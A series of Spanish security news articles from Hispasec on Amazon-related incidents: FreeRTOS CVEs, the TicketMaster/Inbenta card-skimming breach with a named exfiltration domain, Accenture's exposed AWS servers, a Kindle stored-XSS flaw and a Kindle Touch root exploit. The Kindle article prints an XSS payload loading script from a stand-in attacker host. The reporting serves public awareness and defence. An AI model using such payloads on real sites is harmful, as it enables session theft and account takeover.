Descubiertas vulnerabilidades críticas en el sistema operativo de Amazon: FreeRTOS

Un investigador ha descubierto varias vulnerabilidades críticas en FreeRTOS las cuales exponen una amplia gama de dispositivos IoT al ataque de ciberdelincuentes.

¿Qué es FreeRTOS?

Se trata de un sistema operativo de código abierto para sistemas integrados que se ha portado a más de 40 microcontroladores utilizados hoy día en IoT, aeroespacial e industria médica entre otros.

Este sistema ha sido diseñado para ejecutar aplicaciones que necesitan una sincronización muy precisa y un altro grado de confiabilidad. Un marcapasos es un ejemplo de uso de este sistema integrado en tiempo real que contrae el músculo cardíaco en el momento adecuado.

Desde finales del año pasado FreeRTOS está siendo administrado por Amazon, quien ha estado agregando modulos para mejorar la seguridad y disponibilidad en el sistema.

Vulnerabilidades en FreeRTOS:

Oir Karliner, investigador de seguridad de Zimperium Security Labs (zLabs), ha descubierto un total de 13 vulnerabilidades en la pila TCP/IP de FreeRTOS que también afectan a las variantes distribuidas por Amazon.

Lista de CVE:

CVE	Description
CVE-2018-16522	Remote code execution
CVE-2018-16525	Remote code execution
CVE-2018-16526	Remote code execution
CVE-2018-16528	Remote code execution
CVE-2018-16523	Denial of service
CVE-2018-16524	Information leak
CVE-2018-16527	Information leak
CVE-2018-16599	Information leak
CVE-2018-16600	Information leak
CVE-2018-16601	Information leak
CVE-2018-16602	Information leak
CVE-2018-16603	Information leak
CVE-2018-16598	Other

Las vulnerabilidades podrían permitir a los atacantes: desbloquear el dispositivo de destino, filtrar información de su memoria, ejecutar código malicioso, etc.

"Durante nuestra investigación, descubrimos múltiples vulnerabilidades dentro de la pila TCP/IP de FreeRTOS y en los módulos de conectividad seguras de AWS. Las mismas vulnerabilidades están presentes en el componente TCP/IP de WHIS Connect para OpenRTOS/SafeRTOS", señala el investigador.

Zimperium informó responsablemente de las vulnerabilidades a Amazon y la compañía ayer implementó parches de seguridad que corregían estos fallos.

Daniel Púa
@devploit
dpua@hispasec.com

Más información:

Post de Ori Karliner:
https://blog.zimperium.com/freertos-tcpip-stack-vulnerabilities-put-wide-range-devices-risk-compromise-smart-homes-critical-infrastructure-systems/

Información de los parches de Amazon:

https://github.com/aws/amazon-freertos/blob/master/CHANGELOG.md

TicketMaster, un drama en tres actos (y un epílogo)

ACTO I: En el que TicketMaster alerta del ataque

El pasado día 28 de junio, TicketMaster alertaba a sus usuarios respecto a una fuga de información. Según explica en la página web que acompaña al aviso, el día 23 descubrieron que un producto del proveedor Inbenta (una empresa que provee chatbots y que, por cierto, es de origen español) había sido comprometido. Al estar integrado en gran medida en el sitio web de TicketMaster, la información personal y de pago había podido ser accedida por un actor malicioso desconocido.

La primera reacción de TicketMaster ante esto fue desactivar todos los productos de Inbenta en todas las plataformas. 

ACTO II: En el que Inbenta responde a las acusaciones

Inbenta, por su parte, ha dado algo más de detalle sobre el ataque en su propia nota de prensa. Un fichero JavaScript, creado específicamente para cubrir las necesidades de TicketMaster, ha sido el responsable del robo de credenciales.

Acusan directamente a TicketMaster de haber integrado el fichero en su plataforma sin su aprobación, ya que de haberlo sabido habrían avisado del peligro que conlleva. Sin embargo, solo una frase después reconocen que el atacante fue capaz de encontrar y modificar este fichero en su infraestructura. 

Según las declaraciones del CEO de Inbenta, Jordi Torras, a ZDNet a través de email, el atacante pudo acceder a los servidores frontend de Inbenta a través de la explotación de varias vulnerabilidades, y abusar de la característica de subida de ficheros a la plataforma para sustituir el fichero por uno con el código malicioso.

ACTO III: En el que descubrimos que Monzo ya había avisado

Monzo es un banco que opera a través de Internet bastante popular en Reino Unido. A partir del día 6 de abril, empezó a ver como las quejas desde estos países por fraude en tarjetas de crédito se multiplicaban hasta llegar a tener que reemplazar 6000 tarjetas de forma preventiva. 

Cruzando los datos de los clientes afectados por fraude con sus transacciones, se dieron cuenta que el 70% de últimos fraudes afectaban a clientes que usaban TicketMaster. Lo raro es que estos representaban solo un 0,8% de su base de clientes, un porcentaje demasiado bajo para tanto fraude. Algo ocurría. El 12 de abril, miembros del equipo de seguridad de TicketMaster visitaron las oficinas de Monzo para estudiar el caso y afirmaron en que se iba a investigar internamente.

Epílogo: Tirando del hilo

Después de las reveladoras palabras del CEO de Inbenta para ZDNet, en Hispasec nos preguntamos si era posible localizar ese JavaScript y analizar su contenido para poder localizar el actor malicioso. Primero, necesitábamos saber datos concretos de dónde alojaba Inbenta los ficheros referenciados por TicketMaster. Un paseo por Wayback Machine nos da alguna pista: Inbenta usa una serie de URLs que apuntan a servidores Amazon desde donde sirve ficheros estáticos exclusivamente para cada una de las divisiones locales de TicketMaster. Este primer fichero:

http://ticketmasteruk.inbenta.com/avatar/jsonp/inbenta.js

Nos lleva a un segundo: 
http://ticketmasteruk.inbenta.com/avatar/assets/js/inbenta.js?1528204241

Sabiendo al menos el nombre de fichero y URL, podemos empezar a buscar muestras en servicios como VirusTotal o HybridAnalysis. 

https://www.hybrid-analysis.com/search?query=inbenta

Este fichero también fue subido a VirusTotal en la misma fecha, detectado como InfoStealer:

https://www.virustotal.com/#/file/eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530/detection

Echando un vistazo a esta versión de 'inbenta.js', encontramos al final una gran cantidad de código ofuscado:

Sospechoso cuanto menos, ¿no? La función 'send' y las continuas referencias al array '_0x1aec' nos hacen sospechar que contiene la información de contacto. Lo decodificamos y....

El punto de contacto es el dominio "webfotce.me", que resuelve a la IP 85.93.5.188, situada en Emiratos Árabes Unidos. Esta IP está relacionada no sólo con este caso, sino también con gran cantidad de malware según VirusTotal.

Buscando información sobre el dominio, vemos que el usuario @AskewDread a través de Twitter ya avisaba de este comportamiento, siendo, según TicketMaster Nueva Zelanda, solucionado el 11 de mayo.

@Ticketmaster_NZ pic.twitter.com/MYFZy88SUc

— Shane Langley (@AskewDread) 7 de mayo de 2018

En un análisis preliminar, vemos que el código recoge información de la página en caso de encontrar ciertas cadenas en la misma, y hace peticiones POST a la URL mencionada con los datos capturados.

Ataques como estos son ejemplos claros del alcance que pueden llegar a tener los fallos de seguridad en proveedores u otras dependencias de código. Aunque Inbenta ha sido la empresa atacada, es TicketMaster el más afectado tanto en imagen como económicamente. Incluso los efectos colaterales han llegado a Monzo, un tercero sin relación directa de negocio con ninguno de ellos.

Es importante recordar que la seguridad de nuestra infraestructura es tan débil como el componente más inseguro de la misma y que, por tanto, todos necesitan ser revisados para garantizar un producto seguro a nuestros usuarios y evitar que un problema de terceros nos afecte directamente.

Francisco López

flopez@hispasec.com

@zisk0

Agradecimientos a Carlos Ledesma (@Ravenons) por el apoyo técnico.

Más información:

INFORMATION ABOUT DATA SECURITY INCIDENT BY THIRD-PARTY SUPPLIER:
https://security.ticketmaster.co.uk/

Accenture deja expuestos cuatro servidores con información sensible sobre la compañía y sus clientes

El pasado 17 de septiembre, el director del departamento de investigación de ciberamenazas Chris Vickery, descubrió cuatro instancias de Amazon Web Services (AWS) expuestas sin ningún tipo de protección. Los servidores en la nube eran propiedad de Accenture, una importante empresa dedicada a dar servicios de consultoría y outsourcing tecnológico.

Cualquiera que tuviera la dirección web de estos servidores tenía acceso a todo tipo de información relacionada con su plataforma en la nube: Accenture Cloud Platform. Credenciales, certificados, claves criptográficas y datos privados sobre sus clientes estuvieron al descubierto por una mala configuración de la plataforma de Amazon. 

Las cuatro instancias de AWS estaban administradas por el usuario 'awsacp0175' y se correspondían con los subdominios:

• acp-deployment, que contenía credenciales para servicios de uso interno, ficheros de configuración y un fichero en texto plano con la clave para acceder al administrador de 'Amazon Web Services'.

• acpcollector, contenía información de mantenimiento, claves de la VPN y logs de eventos y operaciones realizadas por Accenture en los distintos servidores.

Contenido de acpcollector (Fuente: https://www.upguard.com)

• acp-software, contenía dumps de cientos de gigas con claves de acceso, correos electrónicos privados, registros sobre eventos e incidentes, IDs JSession y credenciales de acceso a las cuentas de Google y Azure de Accenture. Además se consiguieron recuperar alrededor de 40.000 contraseñas en texto plano de una copia de seguridad almacenada en esta misma máquina.

• acp-ssl, utilizado como almacén de claves contenía credenciales y claves criptográficas que se suponen para desencriptar las comunicaciones entre Accenture y sus clientes.

Clientes Accenture (Fuente: https://www.upguard.com)

Aunque los servidores fueron asegurados al día siguiente de dar el aviso, la información expuesta, en malas manos podría haber sido utilizada para realizar otros ataques dirigidos hacia la propia compañía o a sus clientes. 

Accenture sin embargo, defiende en un comunicado a eWEEK que ninguno de sus clientes está en riesgo y que la información expuesta no podría ser utilizada para acceder a sus sistemas.

Francisco Salido
fsalido@hispasec.com

Más información:

System Shock: How A Cloud Leak Exposed Accenture's Business
https://www.upguard.com/breaches/cloud-leak-accenture

UpGuard Reports Accenture Data Exposure, Debuts Risk Detection Service
http://www.eweek.com/security/upguard-reports-accenture-data-exposure-debuts-risk-detection-service

Vulnerabilidad en Kindle permite obtener detalles de la cuenta de usuario

Se ha anunciado una vulnerabilidad en el software del Kindle de Amazon que podría permitir a un atacante acceder a todos los detalles de una cuenta de Amazon.

El problema reside en un cross-site scripting almacenado, la más peligrosa de todas las formas de este tipo de ataques, en la librería Kindle de Amazon, en las páginas conocidas como "Manage Your Content and Devices" y "Manage your Kindle". El fallo se produce al descargar un libro electrónico desde un sitio que no sea la propia web de Amazon, y podría permitir inyectar código malicioso a través de los metadatos del libro (por ejemplo el título).

El atacante podrá crear un libro con un título como

<script src="https://www.atacante.org/script.js"></script>

Una vez que la víctima descargue el libro y lo tenga añadido a su librería, el código se ejecutara en el momento en que la víctima abra la página web de la librería del Kindle. Como resultado, el atacante podrá acceder y transferir las cookies de sesión de Amazón, por lo que la cuenta quedará comprometida. Existe disponible una prueba de concepto del problema.

Lo más sorprendente es que según Benjamin Daniel Mussler, investigador que ha dado a conocer el problema, reportó el problema a Amazon en noviembre de 2013 y fue corregido poco después. Sin embargo confirma que, hace dos meses, al publicar una nueva versión de la aplicación web "Manage your Kindle" se ha reintroducido la vulnerabilidad. Según confirma no ha obtenido respuesta a ninguna de sus comunicaciones.

Más información:

Amazon.com Stored XSS via Book Metadata

http://b.fl7.de/2014/09/amazon-stored-xss-book-metadata.html

Antonio Ropero

antonior@hispasec.com

Twitter: @aropero

Ejecución de código en Amazon Kindle Touch con solo visitar una web

Se ha descubierto una vulnerabilidad en el navegador web del lector de libros electrónicos Kindle en su versión Touch, que permite la ejecución de código arbitrario con privilegios de root. Aunque está siendo aprovechada con la finalidad de liberar el dispositivo, esta vulnerabilidad también deja la puerta abierta a la toma de control sobre este y al robo de credenciales.

Aunque su uso es esencialmente la lectura de e-books, desde la tercera generación (actualmente va por la cuarta) de Kindle, los dispositivos están dotados entre otras funcionalidades de un navegador que permite la navegación por Internet a través de conexión WiFi, no así a través de 3G.

En la versión 5.1.0 del firmware de este dispositivo se introdujo la arquitectura para plugins NPAPI a través de la librería /usr/lib/libkindleplugin.so. Esta da la posibilidad que incluir plugins en el motor WebKit del navegador.

Un usuario de mobileread.com bajo el nick de eureka descubrió que, a través de una llamada a la función lipc-set-prop de esta librería incrustada en un sitio web se podía ejecutar comandos de shell con permisos de root de forma remota. Un atacante que diseñara una página web maliciosa y convenciera a un usuario para que accediera a ella podría tomar el control del dispositivo.

El sitio alemán dedicado a la seguridad Heise Security ha publicado una demostración de la posible explotación de esta vulnerabilidad. En esta, visitan un sitio web diseñado especialmente para mandar el comando shutdown-r now al dispositivo, forzando su reinicio. Aseguran también haber conseguido acceder al contenido del directorio /etc/shadow/, donde se guarda el hash de la contraseña de root, y haberlo copiado a un servidor remoto para posteriormente descifrarlo.

http://www.heise.de/video/artikel/Sicherheitsluecke-bei-Amazons-Kindle-Touch-1641625.html

Esta vulnerabilidad se está aprovechando de forma activa. Existen sitios web que ofrecen la liberación del dispositivo simplemente visitando un enlace. Aún no hay indicios de que se esté utilizando la vulnerabilidad para otros usos fraudulentos, pero en teoría podría permitir desde el robo de credenciales de la cuenta de Amazon asociada al dispositivo, hasta la compra de contenidos bajo cuentas ajenas... pasando por la unión del dispositivo a una botnet.

El propio eureka recomienda la desactivación de la librería libkindleplugin.so a través de la ejecución del siguiente comando por sesión SSH:

mntroot rw && mv /usr/lib/browser/plugins/libkindleplugin.so /usr/lib/browser/plugins/libkindleplugin.so.disabled && mntroot ro && killall wafapp

Parece ser que el resto de dispositivos Kindle no están afectados por la vulnerabilidad. Por otra parte, esta ya ha sido corregida en la versión 5.1.1 del firmware para Kindle Touch.

Más información:

[Kindle Touch] Scriptable browser plugin included in 5.1.0 [Inglés]

http://www.mobileread.com/forums/showthread.php?t=175368

Sicherheitslücke und Jailbreak bei Amazon Kindle Touch [Alemán]

http://www.heise.de/security/meldung/Sicherheitsluecke-und-Jailbreak-bei-Amazon-Kindle-Touch-1636888.html

Jailbreak for KT 5.1.0 [Inglés]

http://jailbreak-kt.tk/

Francisco López

flopez@hispasec.com